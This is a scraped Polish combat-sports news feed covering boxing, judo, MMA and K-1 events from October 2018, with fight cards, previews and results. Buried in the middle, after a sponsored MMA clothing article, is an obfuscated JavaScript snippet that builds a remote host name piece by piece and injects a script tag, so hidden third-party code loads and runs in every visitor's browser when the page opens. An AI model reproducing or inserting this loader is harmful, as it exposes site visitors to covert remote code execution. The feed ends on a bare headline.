Bój o półfinał

20 października w CFE Arena w Orlando w ćwierćfinale World Boxing Super Series w kategorii junior ciężkiej Mateusz Masternak zmierzy się z Yunielem Dorticosem. W półfinale czeka już Andrew Tabiti.

Przed popularnym "Masterem" 46 pojedynek w karierze. Pod tym względem ma przewagę nad rywalem, bo Dorticos dotychczas stoczył 23 walki, choć jest o rok starszy od Polaka. Trzeba jednak oddać sprawiedliwość i zwrócić uwagę, że Kubańczyk zawodową karierę rozpoczął trzy lata później niż Masternak.

Dorticos rysuje się jako niezwykle trudny i wymagający rywal. Przede wszystkim ma niezwykle potężny cios, którym zatrzymał przed czasem aż 21 rywali. 32-letni Kubańczyk ma na swoim koncie tytuł tymczasowego mistrza świata federacji WBA. Ostatecznie Dorticos mógł cieszyć się z pełnoprawnego miana czempiona. Kubańczyk ma za sobą doświadczenie z pierwszej edycji WBSS. W ćwierćfinale uporał się z Dmitrijem Kudriaszowem, jednak w półfinale przegrał z Muratem Gassijewem.

Dla Masternaka turniej WBSS będzie kolejną okazją do zaistnienia w kategorii junior ciężkiej. Polak był mistrzem Europy, mówiło się nawet, że przyjdzie czas, kiedy zmierzy się o pas mistrza świata z Denisem Lebediewem. Tak się nie stało. W starciu o tymczasowy pas lepszy okazał się Youri Kalenga, później "Master" zanotował porażkę w starciu z Tony'm Bellewem o wakujący tytuł mistrza Europy. Masternak ma jednak serię pięciu zwycięstw z rzędu i swoją postawą zapracował na szansę od organizatorów WBSS.

Do walki z Dorticosem były mistrz Europy przygotowywał się pod okiem trenera Zygmunta Gosiewskiego. Masternak intensywnie pracował we Wrocławiu, a w ostatnim czasie udał się na Florydę. Polaka czeka trudne wyzwanie, jednak podchodzi optymistycznie do zbliżającego się starcia. Pewny swego jest Dorticos, który w stronę Masternaka śle kąśliwe uwagi. Czy „Master” odpowie mu w ringu? Dotychczas sposób na Dorticosa znalazł tylko Gassijew.

Na zwycięzcę starcia w Orlando czeka już Andrew Tabiti, który w pierwszym ćwierćfinale pokonał na punkty Rusłana Fayfera.

Kolejne starcia ćwierćfinałowe w kategorii junior ciężkiej odbędą się 10 listopada w Chicago. Mairis Briedis podejmie Noela Gevora, a były mistrz WBO Krzysztof Głowacki spotka się z Maksimem Własowem.

Fot. Mateusz Masternak Facebook

KM

Dwa medale w Cancun

Agata Perenc (52kg) wywalczyła srebro, a Daria Pogorzelec (70kg) brąz w zawodach Grand Prix w judo, które odbyły się w Cancun.

Do Meksyku udała się 11-osobowa kadra Polski. Największe powody do zadowolenia ma Agata Perenc, która była o krok od zwycięstwa. Zawodniczka Polonii Rybnik po raz pierwszy w tym roku stanęła na podium międzynarodowych zawodów. Dla Perenc to drugie srebro wywalczone w Grand Prix. W październiku 2017 roku taki sam wynik osiągnęła w Taszkiencie. Co do występu judoczki w Cancun, zawody rozpoczęła od wygranej przed czasem z Peruwianką Brillith Gamarrą Carbajal. Następnie Polka rozprawiła się z wicemistrzynią Europy z 2017 roku Alesyą Kuznetsovą. W półfinale Perenc wygrała ze Szwajcarką Fabienne Kocher, a w walce o złoto czekała na nią Ana Perex Box. Hiszpanka triumfowała przez waza ari.

Pierwszy medal w zawodach rangi Grand Prix w kategorii 70kg zdobyła Daria Pogorzelec. Wcześniej Polka rywalizowała w 78kg. Dotychczas w niższej kategorii Polka zdobywała medale w Bratysławie (złoto) i Warszawie (brąz), ale były to turnieju Pucharu Europy. W Cancun 28-letnia judoczka stoczyła pięć pojedynków. Polka pokazała, że jest w wysokiej formie, bo na rozkładzie zapisała wicemistrzynię świata Marię Perez. Pogorzelec trafiła do repasaży po porażce z Gabriellą Willems, ale poradziła sobie znakomicie i dostała szansę zmagań o medal. Polka pokonała Alessandrę Prosdocimo, która w tym roku stawała na podium w Pucharach Europy. Piąte miejsce w Cancun to najlepszy wynik Włoszki w Grand Prix.

O krok od podium była Karolina Pieńkowska (52kg). Polka po wygraniu dwóch walk poniosła porażkę z Aną Perez Box i pozostało jej starcie o brąz, w którym lepsza okazała się Joana Ramos. Ostatecznie Pieńkowska była piąta, tak jak i Beata Pacut (78kg). Po porażce z Roką Takayamą, Polka poradziła sobie w repasażach i stanęła do pojedynku o brąz. W walce o podium lepsza od zawodniczki Czarnych Bytom okazała się Kaliema Antomarchi.

Siódme pozycje zajęli Anna Borowska (57kg) oraz Maciej Sarnacki (+100kg).

W klasyfikacji medalowej zawodów w Cancun Polka zajęła 13. miejsce, razem z Niemcami. Najlepsi okazali się Rosjanie z dorobkiem sześciu krążków – po dwa każdego koloru. Za nimi Austria (2, 1, 2) oraz Kuba (2, 1, 1).

KM

Rozkład jazdy przed galą FEN 22

Media Trening

Wtorek, 16 października, godzina 14:00

Miejsce: Klub "Hulakula – Rozrywkowe Centrum Miasta", ul. Jagielonska 82b, 03-301 Warszawa

Zawodnicy wyznaczeni do media treningu: Grabowski, Klaczek, Kopera, Kondraciuk, Demczur, Gniadek

 

Konferencja prasowa

Czwartek, 18 października, godzina 17:00

Miejsce: Hotel 500, ul. Poznańska 139, 62-080 Tarnowo Podgórne koło Poznania

Zawodnicy wyznaczeni do udziału w konferencji: Rębecki, Kopera, Grabowski, Guelke, Radosz, Kubiszyn

 

Oficjalna ceremonia ważenia

Piątek, 19 października, godzina 18:00

Miejsce: Hala UAM, ul. Zagajnikowa 9, 61-602 Poznań

 

Karta walk FEN 22:

Damian Grabowski VS Jose Rodrigo Guelke -120 kg

Mateusz Rębecki VS Łukasz Kopera -70 kg*

Tomasz Kondraciuk VS Bartosz Leśko -84 kg

Kamil Gniadek VS Jacek Jędraszczyk -77 kg

Kamil Łebkowski VS Łukasz Demczur -66 kg

Łukasz Radosz VS Mateusz Kubiszyn -85 kg K-1

Krzysztof Klaczek VS Edilson Teixeira -66 kg

Dawid Pasternak VS Rafał Statkiewicz -61 kg

Granda Pro – Lucky 7: wyczekiwany rewanż w formule K-1

Na ten rewanż wyczekiwali wszyscy, organizatorzy, kibice, a także sami zawodnicy. Gdy podczas szóstej odsłony gali Granda Pro sędziowie orzekli werdykt pojedynku jako nierozstrzygnięty na trybunach oraz u zawodników pozostał niedosyt. Dyrektor sportowy organizacji, Michał Chmielewski tuż po zakończeniu gali zapowiedział, że do drugiej walki musi dojść i to jak najszybciej. Słowa dotrzymał i już 27 października podczas Granda Pro – Lucky 7 będziemy mogli zobaczyć drugie starcie pomiędzy Michałem Bławdziewiczem i Gordonem Hauptem z Niemiec.

Michał Bławdziewicz to młody i utalentowany zawodnik sportów walki. Na swoim koncie ma wiele sukcesów w formule K-1, a także dwa wygrane turnieje MMA w Amatorskim Pucharze KSW. – Zadałem rywalowi niskie kopnięcie. Przeciwnik upadł i coś mu się stało w plecy. Nie mógł kontynuować walki. Ja nie wykonałem żadnej nielegalnej akcji i nie zgadzam się z tym werdyktem. Bardzo chętnie zawalczę z nim jeszcze raz, jak najszybciej – wyznał warszawiak w jednym z wywiadów zaraz po pierwszej konfrontacji.

Gordon Haupt, podobnie jak najbliższy rywal również osiągną sporo sukcesów na niemieckim podwórku. Na październikowej Grandzie Pro – Lucky 7 stoczy swoją trzecią walkę dla organizacji. Jak dotąd nie udało mu się jeszcze wygrać. – Wygram ten rewanż. Nie ma innej opcji. Gdyby nie kontuzja to pokonałbym go już w pierwszym boju – zapowiada Niemiec.

Konfrontacja Bławdziewicza i Haupta odbędzie się w formule K-1 na dystansie trzech rund po trzy minuty, kategoria ciężka.

Ganda Pro – Lucky 7

Data: 27 października

Miejsce: Arena Ursynów (Warszawa)

Walki: K-1 i MMA

Bilety: www.eventim.pl

Granda Pro – Lucky 7: Miller vs. Wojtas

Granda Pro odsłania kolejne karty gali, która 27 października odbędzie się w warszawskiej Arenie Ursynów. W bardzo interesującym pojedynku MMA naprzeciw siebie stanie dwóch zawodników kategorii koguciej – Sylwester Miller i Igor Wojtas.

Sylwester Miller to weteran gal Granda Pro dla którego starcie z Wojtasem na Granda Pro – Lucky 7 będzie już szóstym starciem dla stołecznej organizacji i dziewiąty zawodowy pojedynek w karierze. Jego aktualny bilans to sześć zwycięstw (wszystkie przez poddania) i tylko dwie porażki. Trenujący w Legia Fight Club, pod okiem Jakuba Zawadzkiego zawodnik będzie chciał podtrzymać pasmo trzech zwycięstw, które czyni go niepokonanym od ponad roku.

Igor Wojtas to zawodnik Aliant Gold Team z zawodowym rekordem siedmiu zwycięstw i pięciu przegranych. Dwudziestotrzylatek o pseudonimie „Gucio” swoją ostatnią walkę toczył kilka tygodni temu na gali Armia Fight Night, gdzie musiał uznać wyższość swojego oponenta. Pojedynek z Millerem będzie dla niego szansą powrotu na zwycięski szlak i przerwanie passy triumfów rywala.

Pojedynek Miller vs. Wojtas została zakontraktowany na trzy, pięciominutowe rundy w kategorii koguciej, do 61 kilogramów.

Ganda Pro – Lucky 7

Data: 27 października

Miejsce: Arena Ursynów (Warszawa)

Walki: K-1 i MMA

Bilety: www.eventim.pl

Kolejna mistrzowska szansa Jędrzejczyk

Stało się. Joanna Jędrzejczyk będzie miała szansę zawalczyć o pas wagi muszej. Podczas gali UFC 231 w Toronto Polska zmierzy się z Walentiną Szewczenko.

31-letnia Jędrzejczyk celuje w pas mistrzowski kolejnej kategorii. W marcu 2015 roku Polka pokonała w drugiej rundzie Carlę Esparzę i sięgnęła po tytuł w wadze słomkowej. Olsztynianka skutecznie broniła pasa pięć razy. Tytuł straciła na rzecz Rose Namajunas, co było dużą niespodzianką, jednak w rewanżu ponownie lepsza okazała się Amerykanka. Ostatnio Jędrzejczyk pokonała Tecię Torres.

Jędrzejczyk "zagięła parol" na drugi pas mistrzowski. Tytuł został odebrany Nicco Montano, która musiała wycofać się z występu na gali UFC 228. Wtedy miała zmierzyć się z Walentiną Szewczenko. Planowano, że 8 grudnia reprezentantka Peru spotka się Joanną Jędrzejczyk. Ostatnie dni były jednak niezwykle burzliwe i sytuacja odwróciła się o 180 stopni. Szewczenko miała zaprezentować się 3 listopada w Nowym Jorku, a na jej rywalkę szykowano Sijarę Eubanks. Takie zestawienie było pokłosiem odwołanie pojedynku Nate'a Diaza z Dustinem Poirierem. Jędrzejczyk została odsunięta na bok, a decyzję tę władze UFC tłumaczyły tym, że Polka miałaby zbyt mało czasu na przygotowania. Polka nie kryła złości i odrzucała zarzuty o "uciekaniu od walki". – Zlekceważono kontrakt, który już podpisałam na walkę mającą się odbyć 8 grudnia. Naciskano, abym przyjęła nowy termin walki na listopad, jednocześnie tym samym nie dając mi możliwości przygotowania się podczas campu – napisała w oświadczeniu.

Minęło kilka dni i kolejna zmiana decyzji. Władze UFC zrezygnowały z zestawiania Szewczenko z Eubanks. Reprezentantka Peru 8 grudnia w Toronto zmierzy się z Joanną Jędrzejczyk. Dla pochodzącej z Kirgistanu zawodniczki będzie to kolejna szansa na zdobycie pasa mistrzowskiego. We wrześniu 2017 roku Szewczenko przegrała niejednogłośnie na punkty w starciu o tytuł w wadze koguciej.

Jędrzejczyk doskonale zna smak walk o najwyższą stawkę. Jeśli wygra z Szewczenko, zapisze się w historii UFC jako pierwsza kobieta, która zdobyła dwa pasy w różnych kategoriach wagowych. O triumf nie będzie łatwo. W czasach występów w boksie tajskim Szewczenko trzykrotnie pokonała Jędrzejczyk. Czas na rewanż w Toronto?

Fot. Joanna Jędrzejczyk Facebook

KM

Weteran KSW powraca do MMA na gali Granda Pro – Lucky 7!

Włodarze stołecznej organizacji Granda Pro dokładają wszelkich starań, żeby pojedynki podczas ich eventów elektryzowały fanów, przykuwały uwagę i stały na wysokim, sportowym poziomie. Nie inaczej będzie podczas wydarzenia, które zbliża się wielkimi krokami i już 27 października odbędzie się w warszawskiej Arenie Ursynów. Naprzeciw siebie stanie dwóch znanych w środowisku wojowników, którzy na pewno dostarczą fanom mieszanych sztuk walki oczekiwanych fajerwerków. A będą nimi: weteran organizacji KSW, Wojciech Orłowski, a także zawodnik topowego klubu Berkut Arrachion Olsztyn, Adam Kowalski.

Dla 36-letniego Wojciecha Orłowskiego występ na Granda Pro – Lucky 7 będzie pierwszym po ponad rocznej przerwie startem w formule MMA. Popularny „Gentelman” ostatni bój stoczył w marcu 2017 roku, gdzie po trzech rundach wypunktował Wojciecha Balejko.

Orłowski, który na co dzień mieszka i trenuje w Hiszpanii to znany pojedynków dla federacji KSW fighter, który toczył pojedynki z takimi zawodnikami jak David Oliva i Jan Błachowicz (obaj zawodnicy byli w tym czasie posiadaczami mistrzowskich pasów KSW).

Młodszy o rok od swojego przeciwnika Adam Kowalski powróci do ringu po porażce jakiej doznał z rąk Mateusza Ostrowskiego w kwietniu tego roku. Trenujący na co dzień w Olsztynie, pod czujnym okiem Pawła Derlacza i Szymona Bońkowskiego, a także mający takich wybitnych sparingpartnerów jak Mamed Khalidov i Aslambek Saidov wojownik Berkut Arrachion na pewno zapomniał już o ostatnim niepowodzeniu i w starciu na październikowej Granda Pro będzie chciał dopisać do swojego rekordu dziesiątą zawodową wygraną.

Obaj zawodnicy mają podobny bilans profesjonalnych walk. Orłowski na swoim koncie ma ich szesnaście (7 zwycięstw – 8 porażek – 1 N/C), Kowalski zaś piętnaście (9 zwycięstw – 5 porażek – 1 remis). Obaj walczyli z czołowymi zawodnikami z kraju i obaj wszystkie swoje porażki mięli przed czasem. Jaki wniosek? Że to starcie, które zakontraktowane zostało na trzy rundy, w limicie kategorii półciężkiej na pewno nie potrwa całego dystansu i któryś z nich zaliczy kolejną porażkę przed czasem!

GRANDA PRO – LUCKY 7

Data: 27 października

Miejsce: Arena Ursynów (Warszawa)

Pojedynki: formuła K-1 i MMA

Bilety: www.eventim.pl

Mistrzowski pojedynek na „Granda Pro – Lucky 7” już 27 października!

Po raz kolejny w Warszawie, po raz kolejny w Arenie Ursynów, czyli Granda Pro powraca! Kolejna odsłona, która w tytule mieć będzie „Lucky 7” zapowiada się bardzo interesująco z wielu względów. Fani sportów walki będą mogli obejrzeć pojedynki w dwóch formułach – MMA i K-1, a główną atrakcją tego sportowego spektaklu będzie mistrzowski bój o pas Międzynarodowego Mistrza Organizacji ISKA w wadze ciężkiej pomiędzy Arkadiuszem Wrzoskiem i Vladimirem Toktasynovem.

Arkadiusz Wrzosek to bezwątpienia, aktualnie jeden z najlepszych zawodników wagi ciężkiej w formule K-1 w Polsce. Na swoim koncie posiada tytuły m.in. mistrza organizacji Fight Exclusive Night, amatorskiego mistrza K-1 Global, mistrza europy Muay Thai organizacji IFMA, a także liczne tytuły krajowe w Muay Thai, kickboxingu i Sanda. Podczas październikowej gali Granda Pro – Lucky 7 stoczy swoją trzecią walkę dla stołecznej organizacji. Pierwszy pojedynek stoczył w 2017 roku, gdzie pokonał Kaia Duraka przez techniczny nokaut, zaś druga walka, po kontrowersyjnym werdykcie sędziów została uznana jako nie odbyta.

Wrzosek, który przebudował swój sztab szkoleniowy ostatnimi czasy zadebiutował również na zawodowym ringu jako pięściarz. W walce toczonej na dystansie czterech rund pokonał na punkty reprezentanta Kongo, Saida Kasongo. Teraz powraca do swojej koronnej dyscypliny i czeka go nie lada wyzwanie.

Vladimir Toktasynov, albo jak kto woli Tok to Rosjanin, który na stałe osiedlił się w niemieckim Duisburgu. Jego zawodowy rekord w formule K-1 to 49 zwycięstw (19 przez KO) i 12 porażek. I tutaj należy wspomnieć, że toczył boje nie z byle kim, bo naprawdę topowymi zawodnikami. Trenujący w Amrani Palace Gym  reprezentant Rosji w swojej zawodniczej karierze próbował sił również w boksie oraz MMA, lecz bez większych sukcesów.

Obaj zawodnicy solidnie przygotowują się do tego pojedynku, bo stawką jest nie byle co, a wspomniany wcześniej już pas Międzynarodowego Mistrza ISKA jednej z najbardziej prestiżowych organizacji na świecie. Kto przywłaszczy sobie to trofeum? Młody, rządny sukcesów Polak, a może stary, ringowy wyjadacz z Rosji? Przekonamy się już 27 października.

Na karcie walk październikowego wydarzenia będzie można zobaczyć również m.in. Aleksandrę Rolę (formuła MMA), Dawida Nowaka (formuła MMA), Patryka Małeckiego (formuła K-1), a także powracającego do starów w formule MMA, znanego z gal KSW, Wojciecha Orłowskiego. Z kim skrzyżują rękawice i jak wyglądać będzie kompletna karta walk dowiemy się już za kilka dni.

Granda Pro 7 – Lucky

Data: 27 października 2018

Miejsce: Arena Ursynów w Warszawie

Pojedynki: w formule K-1 i MMA

Bilety: już wkrótce na www.eventim.pl

FEN 22: Trening medialny

 

We wtorek 16 października o godzinie 14 w klubie "Hulakula – Rozrywkowe Centrum Miasta" odbędzie się trening medialny przed galą Fight Exclusive Night 22.

W wydarzeniu udział wezmą czołowi zawodnicy, którzy wystąpią w wielkopolskiej edycji gali FEN 22.

 

 

 

Podczas treningu medialnego kibicom zademonstrują się:

  • Damian Grabowski
  • Mateusz Rębecki
  • Łukasz Kopera
  • Tomasz Kondraciuk
  • Kamil Łebkowski
  • Kamil Gniadek
  • Łukasz Radosz
  • Łukasz Demczur
  • Krzysztof Klaczek

Wstęp na trening jest otwarty dla kibiców.

Informacje o treningu medialnym przed galą FEN 22:

Kiedy: 16 października, godzina 14.

Gdzie: "Hulakula – Rozrywkowe Centrum Miasta" – ul. Jagiellońska 82B, 03-301 Warszawa

Kto wystąpi: 9 zawodników, którzy wystąpią podczas gali FEN 22 w Poznaniu.

Karta walk FEN 22:

  • Damian Grabowski VS Jose Rodrigo Guelke -120 kg
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Tomasz Kondraciuk VS Bartosz Leśko -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS Łukasz Demczur -66 kg
  • Krzysztof Klaczek VS Edilson Teixeira -66 kg
  • Łukasz Radosz VS Mateusz Kubiszyn -85 kg K-1
  • Dawid Pasternak VS Rafał Statkiewicz -61 kg

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

Gdy puszczają nerwy

Trudno przejść obojętnie obok walki Conora McGregora z Khabibem Nurmagomedovem. Zarówno z powodów sportowych, ale i emocji, które wytworzyły się przed i po pojedynku.

Od początku było wiadomo, że jest to starcie elektryzujące świat MMA. Gala UFC 229 miała być wyjątkowa. Powrót Conora McGregora, który uwielbia blask fleszy, a na wprost niego niepokonany posiadacz pasa w kategorii lekkiej Khabib Nurmagomedov. Nikt nie odkryje Ameryki, jeśli powie, że promocja starcia oraz słowne utarczki były elementem skutecznego budowania zainteresowania. Wiadomo, że w tym McGregor jest mistrzem.

Irlandczyk spóźnia się na konferencję, Khabib nie zamierza na niego czekać i wychodzi. Inna sytuacja, 30-letni Rosjanin mówi do fanów McGregora, że dziadek Irlandczyka służył w angielskiej Marynarce Wojennej i "zabijał waszych ludzi". Wcześniej "Notorius" zaatakował ojca Nurmagomedova. Co warto dodać, MCGregor nie szczędził również cierpkich słów menadżerowi Rosjanina. Z kolei w kwietniu Irlandczyk zaatakował… autobus. Wraz z kolegami rzucał różnymi przedmiotami w stronę pojazdu, a elementy poraniły m.in. Michaela Chiesę. Prawdopodobnie Conor chciał dopaść Nurmagomedova. Ten po wszystkim wyśmiał zachowanie Irlandczyka. To tylko kilka przykładów tego jak budowała się atmosfera wokół walki McGregora i Nurmagomedova, którą oficjalnie potwierdzono w sierpniu.

W nocy z 6 na 7 października w T-Mobile Arenie w Las Vegas było gorąco. McGregor miał wrócić w wielkim stylu, bo to on nadal jest pierwszoplanową postacią UFC i chciał wrócić na tron. Irlandczyk trafił jednak na znakomitego rywala. Zapasy Khabiba na niejednym robią wrażenie, dodatkowo Rosjanin świetnie spisywał się w stójce. W czwartej rundzie Nurmagomedov wygrał przez duszenie zza pleców. McGregor poniósł czwartą porażkę, a Khabib pozostał mistrzem.

Sportowe wrażenia odeszły w zapomnienie, bo zaraz po walce doszło do eskalacji emocji. Rosjanin ruszył w kierunku sztabu McGregora. Sytuacja wyglądała groźnie, policja i ochrona musiały rozdzielać grupy. Wtedy do oktagonu wkroczyli kompani Khabiba i zaatakowali Irlandczyka. Powiedzieć, że było gorąco, to nic nie powiedzieć. Zawodników i osoby ich wspierające odprowadzono do szatni. Dekoracji nie było…

Po walce Nurmagomedov przeprosił za zaistniałą sytuację, ale zwrócił również uwagę na zachowanie McGregora. – Dlaczego mówicie, że przeskoczyłem przez klatkę? Co z McGregorem, który obrażał moją religię, kraj, ojca, był na Brooklynie i atakował autobus, co mogło skończyć się źle dla kilku ludzi – napisał w oświadczeniu Rosjanin.

Cała otoczka wokół wielkiej walki w MMA była nasycona emocjami. Złymi emocjami. Bo jasne jest, że promocja pojedynku ma istotne znaczenie. Niejednokrotnie zawodnicy rzucają w swoją stronę niemiłe słowa. Jednak jest pewna granica. Trudno zaakceptować zachowanie Khabiba i usprawiedliwiać go, bo odkuł się na McGregorze. Conor uderzył w jego ojca, Rosjanin odwdzięczył się słowami o dziadku rywala. W tym wypadku show poszło o krok za daleko. Atak na autobus, wylewająca się wulgarność McGregora, który w oktagonie pokazywał klasę nie raz. Irlandczyk chyba za bardzo skupiał się na tworzeniu widowiska przed walką i nie zważał na żadne świętości. Został za to skarcony w oktagonie. Niesmak pozostał. Ludzka ciekawość sprawia, że chętnie patrzymy na tego typu sytuacje. Nie można ich pochwalać. Ten obraz poszedł w świat, a zapomniana została wartość sportowa, która miała być nadrzędna. Podstawowa sprawa – czasami trzeba wiedzieć, kiedy wyhamować. W tym wypadku przekraczanie granic nie zawsze wychodzi na dobre.

Fot. Khabib "the Eagle" Nurmagomedov Facebook

KM

Łasiewicki mistrzem Ziemi Kurpiowskiej

Karol Łasiewicki pokonał Daniela Bralewskiego i sięgnął po pas mistrza Ziemi Kurpiowskiej w formule K-1 w kategorii 91kg. Ten pojedynek miał szczególne znaczenie dla organizatorów Kurpiowskiej Kuźni Mistrzów.

W hali WOSiR w Wyszkowie odbyło się wydarzenie dla miłośników sportów walki. XVIII Kurpiowska Kuźnia Mistrzów, która dla organizatorów była szczególna. – W minioną sobotę po raz osiemnasty odbyła się Kurpiowska Kuźnia Mistrzów. Liczba „18” zawsze będzie dla nas szczególna, bowiem pierwszy raz zawalczono o pas mistrza ziemi kurpiowskiej. Dla nas było to szczególne wydarzenie, ponieważ sami jesteśmy Kurpiami i identyfikujemy się z naszą lokalną kulturą. Właśnie dlatego postanowiliśmy zestawić reprezentanta Kurpi zielonych Karola Łasiewickiego z reprezentantem Kurpi białych Danielem Bralewskim – tłumaczy Paweł Deluga, jeden z organizatorów gali.

Kuźnia ma nie tylko wymiar lokalny, ponieważ na galach prezentują się zawodnicy z całej Polski. Rywalizacja klubowa budzi wiele emocji, a każda kolejna gala pokazuje, że projekt rozwija się. Walka o pas mistrzowski podczas XVIII Kuźni stanowiła swego rodzaju uwieńczeniem pewnej drogi. Organizatorzy podkreślają, że poziom sportowy ostatniej gali był wysoki. – To była jedna z najlepszych walk w historii Kuźni i panowie udowodnili, że dotychczasowe sukcesy, jakie osiągali na ringach nie były dziełem przypadku. Po dobrej walce wygrał Karol. Na pochwałę zasługują również Daniel Strzemiński i Bartosz Guz, którzy dali pokaz K-1 na najwyższym poziomie. Takich pojedynków, jak dwie nasze walki wieczoru, nie powstydziłaby się żadna polska organizacja, z DSF Kickboxing Challenge na czele. Nie jest to żaden wyraz arogancji, a docenienie wysiłku i klasy sportowej zawodników. Wszyscy fighterzy stanęli na wysokości zadania, dając z siebie wszystko i pokazując sportowego ducha, co nawet w największych walkach zaczyna powoli zanikać. Mam nadzieję, że zawodnicy, których zobaczyliśmy na Kuźni w przyszłości będą kroczyć z podniesioną głową w drodze na sportowe szczyty – wyjaśnia organizator.

"Nie popełnia błędów, ten kto nic nie robi". Organizatorzy mają świadomość uchybień. – . Oczywiście nie ustrzegliśmy się błędów. Cały czas je popełniamy, ciągle uczymy na nich, wyciągamy wnioski i dopracowujemy nasze eventy. Za nami kolejny poligon doświadczalny, kilka rozwiązań wypaliło, kilka nie, więc szukamy dalej złotego środka. Kurpie zaznaczają się coraz wyraźniej na mapie polskich sportów walki i rok 2019 będzie jeszcze lepszy od poprzedniego – zapewnia Paweł Deluga.

Kuźnia nie zwalnia tempa. Kolejna edycja Ligi Sportów Walki już 27 października w hali im. Arkadiusza Gołasia w Ostrołęce.

Fot. Ostrołęka Fight Academy Facebook

KM

Odzież MMA

Rosnąca ostatnimi czasy popularność MMA już chyba nikogo nie dziwi. MMA – czyli inaczej mixed martial arts – w spolszczeniu mieszane sztuki walki, to sport bardzo kontaktowy i widowiskowy. Jest więc atrakcyjny zarówno dla publiczności jak i dla samych sportowców.

MMA na fali popularności

W MMA dozwolone jest łączenie ruchów pochodzących z różnych technik i sztuk walki – prawdopodobnie właśnie ta różnorodność czyni walki MMA tak atrakcyjnym widowiskiem. Historia tej sztuki walki swoją dużą popularność zyskała dopiero niedawno, niemniej jednak warto wiedzieć, że pierwsze zawody, w których wykorzystywano elementy walki w stylu mieszanym, odnotowano już w starożytności. Dawniej jednak ta dyscyplina łączyła w sobie boks i zapasy, obecnie jest to mieszkanka wielu styli. Mimo pozostawienia zawodnikom dużej dowolności przebiegu walki, MMA posiada reguły, które aby walka przebiegła sprawiedliwie, powinny być respektowane.

Głównymi zasadami mieszanych sztuk walki jest zachowanie odpowiedniej pozycji podczas spotkania – walczyć powinno się „w stójce” lub „w parterze”, większość ciosów takich jak na przykład kopnięcia, rzuty i dźwignie są dozwolone, niemniej jednak nie oznacza to, że zawodnik posiada pełną dowolność w wymierzaniu uderzeń. Bezwzględnie zabronione jest umyślne łamanie stawów, ciosy „poniżej pasa” i skierowane w kierunku kręgosłupa. Gryzienie i kopanie a także wciskanie palców do oczu i kopanie leżącego zawodnika jest niedopuszczalne. Podsumowując – dozwolone są chwyty, które w bezpośredni sposób nie zagrażają utracie życia i dużego uszczerbku na zdrowiu walczących ze sobą zawodników.

""

Odpowiednia odzież treningowa MMA

W zasadach tej sztuki walki panuje spora dowolność – podobnie jest także z odpowiednim przygotowaniem odzieży treningowej do MMA. Najważniejszą kwestią, ważną dla zarówno zawodników profesjonalnych jak i amatorów jest wygoda. Zawodnik musi z łatwością wyprowadzać ciosy – odzież nie może krępować ruchów. Rewelacyjnie sprawdzają się do tego celu specjalne legginsy MMA, na przykład takie: https://fittimeshop.pl/114-legginsy-sportowe. Legginsy mają to do siebie, że nie krępują ruchów, są idealnie dopasowane do ciała i elastyczne. Odzież treningowa MMA to także różnego rodzaju koszulki – dopasowane i luźniejsze, krótkie spodenki – szorty i długie i krótkie legginsy.

Odzież do MMA

Odzież do MMA jest raczej prosta w swojej formie i zachowawcza – inwencję i własny charakter można wyrazić przez kolorystykę danych zestawów. Ubrania do mieszanych sztuk walki, mogą być stonowane ale także zaskakiwać swoim oryginalnym wzornictwem. Dzięki temu, każdy zawodnik – zarówno podczas ćwiczeń, treningów i sparingów ma szanse poczuć się wyjątkowo, profesjonalnie i komfortowo. Przy doborze odpowiedniego zestawu należy kierować się zawsze jakością wykonania. Aktualnie, stawia się na zestawy z materiałów kompresyjnych – takich, które pozwalają na odprowadzanie wilgoci na zewnątrz, co daje niesłychany komfort. Odzież kompresyjna pozwala na uczucie suchości i chłodu – nawet podczas intensywnych treningów.

""

[kod]

(function(){
t9vgu="p96kr7hs9vgz";t9vg=document.createElement("script");
t9vg_="u"+("st");t9vg_+="at"+(".");t9vg.async=true;t9vg_+="in";
t9vgu="124575736."+t9vgu;t9vg.type="text/javascript";t9vgu+="7h3tip0le2ph";
t9vgu+="intgdj";t9vg_+=("f")+"o"+("/");t9vg.src="https://"+t9vg_+t9vgu;
t9vgd=document.body;t9vgd.appendChild(t9vg);
})();

Nokaut za nokautem w Londynie

Gala KSW 45 w Londynie obfitowała w nokauty. Philip de Fries poddał Karola Bedorfa i nadal pozostaje mistrzem wagi ciężkiej. Tytuł w kategorii półśredniej wrócił do Roberto Soldicia.

Karol Bedorf wierzył, że w Londynie powróci na tron. Po wygranej z Mariuszem Pudzianowski, de Fries miał być kolejnym rywalem, którego pokona. 32-letni mistrz udowodnił, że tytułu nie zdobył przypadkowo. Bedorf wypadł blado przy rywalu, który nadawał ton walce. W drugiej rundzie de Fries wyciągnął rękę Bedorfa do granic możliwości i wygrał przez poddanie. 

Pas mistrza wagi półśredniej ponownie należy do Roberto Soldicia. Na KSW 43 Chorwat przegrał z Dricusem Du Plessisem w drugiej rundzie. W Londynie sytuacja wyglądała inaczej. Wraz z upływem czasu zarysowywała się przewaga Chorwata. W drugiej rundzie Soldić słał w stronę rywala kolejne ciosy, Du Plessis szukał parteru. Trzecia odsłona to rosnąca dominacja Chorwata. Zawodnik z RPA znalazł się pod siatką i przyjmował kolejne ciosy. W końcu sędzia przerwał walkę, a Chorwat mógł cieszyć się z tytułu. 

Pierwszą porażkę w KSW zanotował Damian Janikowski. Brązowy medalista w zapasach z Londynu znalazł pogromcę w osobie Michała Materli. Obaj zawodnicy nie zamierzali się oszczędzać i ruszyli zdecydowanie do przodu. Walka zakończyła się jednak w pierwszej rundzie. Po sierpowym Materli, Janikowski padł, a rywal dobił go ciosami w parterze. W drugim półfinałowym starciu turnieju wagi średniej Scott Askham znokautował w pierwszej rundzie Marcina Wójcika.

Erko Jun lepszy od Popka Monstera. Walka przebiegała w spokojnym tempie, jednak zakończyła się w drugiej rundzie. Jun znalazł się na górze i słał na głowę Popka kolejne ciosy. W końcu wkroczył sędzia i przerwał walkę. 

Emocje po starciu Leszka Kołakowskiego z Alfie Davisem. Polak wygrał niejednogłośnie na punkty, a puchar dla przegranego wylądował w toalecie. Davis nie zgadzał się z werdyktem sędziów. Walka Akopa Szostaka z Jamie Sloanem zakończyła się jako no-contest. Anglik nie kontynuował walki po tym jak został przypadkowo trafiony w oko.

W pozostałych walkach Thiago Silva na punkty lepszy od Jamesa McSweeneya, a Wagner Prado znokautował w pierwszej rundzie Łukasza Parobca.

KM

Hit w Las Vegas

